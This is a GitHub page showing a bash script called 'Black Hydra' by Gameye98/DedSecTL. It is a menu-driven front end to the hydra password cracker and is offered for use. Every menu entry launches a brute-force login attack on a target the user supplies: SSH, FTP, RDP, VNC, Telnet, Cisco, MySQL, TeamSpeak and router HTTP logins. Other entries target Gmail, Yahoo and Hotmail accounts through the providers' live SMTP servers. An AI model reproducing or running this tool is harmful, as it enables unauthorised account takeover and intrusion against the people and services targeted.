-
Notifications
You must be signed in to change notification settings - Fork 85
/
blackhydra_1.1.sh
266 lines (251 loc) · 8.36 KB
/
blackhydra_1.1.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
#!/usr/bin/bash
clear
bhydra_cisco=$(cat <<DOCUMENT
+---------------------------+
| Cisco Brute Force |
+---------------------------+
DOCUMENT
)
bhydra_vnc=$(cat <<DOCUMENT
+---------------------------+
| VNC Brute Force |
+---------------------------+
DOCUMENT
)
bhydra_ftp=$(cat <<DOCUMENT
+------------------------------+
| FTP Brute Force |
+------------------------------+
DOCUMENT
)
bhydra_gmail=$(cat <<DOCUMENT
+------------------------------+
| Gmail Brute Force |
+------------------------------+
DOCUMENT
)
bhydra_ssh=$(cat <<DOCUMENT
+--------------------------------+
| SSH Brute Force |
+--------------------------------+
DOCUMENT
)
bhydra_teamspeak=$(cat <<DOCUMENT
+-------------------------+
| TeamSpeak Brute Force |
+-------------------------+
DOCUMENT
)
bhydra_telnet=$(cat <<DOCUMENT
+-------------------------+
| Telnet Brute Force |
+-------------------------+
DOCUMENT
)
bhydra_yahoo=$(cat <<DOCUMENT
+---------------------------+
| Yahoo Brute Force |
+---------------------------+
DOCUMENT
)
bhydra_hotmail=$(cat <<DOCUMENT
+----------------------------+
| Hotmail Brute Force |
+----------------------------+
DOCUMENT
)
bhydra_router_speedy=$(cat <<DOCUMENT
+-----------------------------+
| Router Speedy Brute Force |
+-----------------------------+
DOCUMENT
)
bhydra_rdp=$(cat <<DOCUMENT
+----------------------------+
| RDP Brute Force |
+----------------------------+
DOCUMENT
)
bhydra_mysql=$(cat <<DOCUMENT
+-----------------------------+
| MySQL Brute Force |
+-----------------------------+
DOCUMENT
)
bhydra_banner=$(cat <<DOCUMENT
___ _ ____ ____ _ _ _ _ _ _ ___ ____ ____
|__] | |__| | |_/ |__| \_/ | \ |__/ |__|
|__] |___ | | |___ | \_ | | | |__/ | \ | |
-----------------------------------------------------
[]xxxxx[]::::::::::::::::::::> 20-07-2020 (17:01)
[*] Author: Gameye98/DedSecTL --- [*] Version 1.1
c=={:::::::::::::::> Black Hydra Console
[*] My FB : https://m.facebook.com/Gameye98
(}xxx{):::::::::> BlackHole Security
===|[ Brute Force ]|===
[01] Cisco Brute Force
[02] VNC Brute Force
[03] FTP Brute Force
[04] Gmail Brute Force
[05] SSH Brute Force
[06] TeamSpeak Brute Force
[07] Telnet Brute Force
[08] Yahoo Mail Brute Force
[09] Hotmail Brute Force
[10] Router Speedy Brute Force
[11] RDP Brute Force
[12] MySQL Brute Force
[13] Restart the Program
[00] Exit
DOCUMENT
)
function bhydraLogWarn {
echo -e "[!] Warning: Dont leave the input empty!"
echo -e "[!] If input empty, it'll break the current iteration!"
}
function inputIsEmpty {
bhydraUserInput="${#1}"
bhydraUInputLen=$(printf "%${bhydraUserInput}s" | tr "\n" " ")
if [[ "$1" == "" || "$1" == "${bhydraUInputLen}" ]]; then
echo -e "continue 1"
else
echo -e "true"
fi
}
function main_c {
printf "${bhydra_banner}\n\n"
while true; do
read -p "[*] B-Hydra > exec_num " bhydra
# Cisco Brute Force
if [[ "${bhydra}" == "00" || "${bhydra}" == "0" ]]; then
exit
elif [[ "${bhydra}" == "01" || "${bhydra}" == "1" ]]; then
printf "${bhydra_cisco}\n\n"
bhydraLogWarn
read -p "[*] IP/Hostname : " bhydra_iphost
eval "$(inputIsEmpty ${bhydra_iphost})"
read -p "[*] Wordlist : " bhydra_word
eval "$(inputIsEmpty ${bhydra_word})"
hydra -P "${bhydra_word}" "${bhydra_iphost}" cisco
# VNC Brute Force
elif [[ "${bhydra}" == "02" || "${bhydra}" == "2" ]]; then
printf "${bhydra_vnc}\n\n"
bhydraLogWarn
read -p "[*] IP/Hostname : " bhydra_iphost
eval "$(inputIsEmpty ${bhydra_iphost} host)"
read -p "[*] Wordlist : " bhydra_word
eval "$(inputIsEmpty ${bhydra_word})"
hydra -P "${bhydra_word}" -e n -t 1 "${bhydra_iphost}" vnc -V
# FTP Brute Force
elif [[ "${bhydra}" == "03" || "${bhydra}" == "3" ]]; then
printf "${bhydra_ftp}\n\n"
bhydraLogWarn
read -p "[*] User : " bhydra_user
eval "$(inputIsEmpty ${bhydra_user})"
read -p "[*] IP/Hostname : " bhydra_iphost
eval "$(inputIsEmpty ${bhydra_iphost})"
read -p "[*] Wordlist : " bhydra_word
eval "$(inputIsEmpty ${bhydra_word})"
hydra -l "${bhydra_user}" -P "${bhydra_word}" "${bhydra_iphost}" ftp
# Gmail Brute Force
elif [[ "${bhydra}" == "04" || "${bhydra}" == "4" ]]; then
printf "${bhydra_gmail}\n\n"
bhydraLogWarn
read -p "[*] Email : " bhydra_email
eval "$(inputIsEmpty ${bhydra_email})"
read -p "[*] Wordlist : " bhydra_word
eval "$(inputIsEmpty ${bhydra_word})"
hydra -l "${bhydra_email}" -P "${bhydra_word}" -s 465 smtp.gmail.com smtp
# SSH Brute Force
elif [[ "${bhydra}" == "05" || "${bhydra}" == "5" ]]; then
printf "${bhydra_ssh}\n\n"
bhydraLogWarn
read -p "[*] User : " bhydra_user
eval "$(inputIsEmpty ${bhydra_user})"
read -p "[*] IP/Hostname : " bhydra_iphost
eval "$(inputIsEmpty ${bhydra_iphost})"
read -p "[*] Wordlist : " bhydra_word
eval "$(inputIsEmpty ${bhydra_word})"
hydra -l "${bhydra_user}" -P "${bhydra_word}" "${bhydra_iphost}" ssh
# TeamSpeak Brute Force
elif [[ "${bhydra}" == "06" || "${bhydra}" == "6" ]]; then
printf "${bhydra_teamspeak}\n\n"
bhydraLogWarn
read -p "[*] User : " bhydra_user
eval "$(inputIsEmpty ${bhydra_user})"
read -p "[*] IP/Hostname : " bhydra_iphost
eval "$(inputIsEmpty ${bhydra_iphost})"
read -p "[*] Wordlist : " bhydra_word
eval "$(inputIsEmpty ${bhydra_word})"
hydra -l "${bhydra_user}" -P "${bhydra_word}" -s 8676 "${bhydra_iphost}" teamspeak
# Telnet Brute Force
elif [[ "${bhydra}" == "07" || "${bhydra}" == "7" ]]; then
printf "${bhydra_telnet}\n\n"
bhydraLogWarn
read -p "[*] User : " bhydra_user
eval "$(inputIsEmpty ${bhydra_user})"
read -p "[*] IP/Hostname : " bhydra_iphost
eval "$(inputIsEmpty ${bhydra_iphost})"
read -p "[*] Wordlist : " bhydra_word
eval "$(inputIsEmpty ${bhydra_word})"
hydra -l "${bhydra_user}" -P "${bhydra_word}" "${bhydra_iphost}" telnet
# Yahoo Brute Force
elif [[ "${bhydra}" == "08" || "${bhydra}" == "8" ]]; then
printf "${bhydra_yahoo}\n\n"
read -p "[*] Email : " bhydra_email
eval "$(inputIsEmpty ${bhydra_email})"
read -p "[*] Wordlist : " bhydra_word
eval "$(inputIsEmpty ${bhydra_word})"
hydra -l "${bhydra_email}" -P "${bhydra_word}" -s 587 smtp.mail.yahoo.com smtp
# Hotmail Brute Force
elif [[ "${bhydra}" == "09" || "${bhydra}" == "9" ]]; then
printf "${bhydra_hotmail}\n\n"
read -p "[*] Email : " bhydra_email
eval "$(inputIsEmpty ${bhydra_email})"
read -p "[*] Wordlist : " bhydra_word
eval "$(inputIsEmpty ${bhydra_word})"
hydra -l "${bhydra_email}" -P "${bhydra_word}" -s 587 smtp.live.com smtp
# Router Speedy Brute Force
elif [[ "${bhydra}" == "10" ]]; then
printf "${bhydra_router_speedy}\n\n"
read -p "[*] User : " bhydra_user
eval "$(inputIsEmpty ${bhydra_user})"
read -p "[*] IP/Hostname : " bhydra_iphost
eval "$(inputIsEmpty ${bhydra_iphost})"
read -p "[*] Wordlist : " bhydra_word
eval "$(inputIsEmpty ${bhydra_word})"
hydra -m / -l "${bhydra_user}" -P "${bhydra_word}" "${bhydra_iphost}" http-get
# RDP Brute Force
elif [[ "${bhydra}" == "11" ]]; then
printf "${bhydra_rdp}\n\n"
read -p "[*] User : " bhydra_user
eval "$(inputIsEmpty ${bhydra_user})"
read -p "[*] IP/Hostname : " bhydra_iphost
eval "$(inputIsEmpty ${bhydra_iphost})"
read -p "[*] Wordlist : " bhydra_word
eval "$(inputIsEmpty ${bhydra_word})"
hydra -t 1 -V -f -l "${bhydra_user}" -P "${bhydra_word}" "${bhydra_iphost}" rdp
# MySQL Brute Force
elif [[ "${bhydra}" == "12" ]]; then
printf "${bhydra_mysql}\n\n"
read -p "[*] User : " bhydra_user
eval "$(inputIsEmpty ${bhydra_user})"
read -p "[*] Wordlist : " bhydra_word
eval "$(inputIsEmpty ${bhydra_word} word)"
hydra -t 5 -V -f -l "${bhydra_user}" -e ns -P "${bhydra_word}" localhost mysql
elif [[ "${bhydra}" == "13" ]]; then
clear
printf "${bhydra_banner}\n\n"
else
eval true
fi
done
}
if test -z "$(which hydra)"; then
echo -e "[!] Warning: hydra package is not installed!"
echo -e "[+] Installing hydra ..."
apt update -y && apt upgrade -y
apt install hydra -y
else
main_c
fi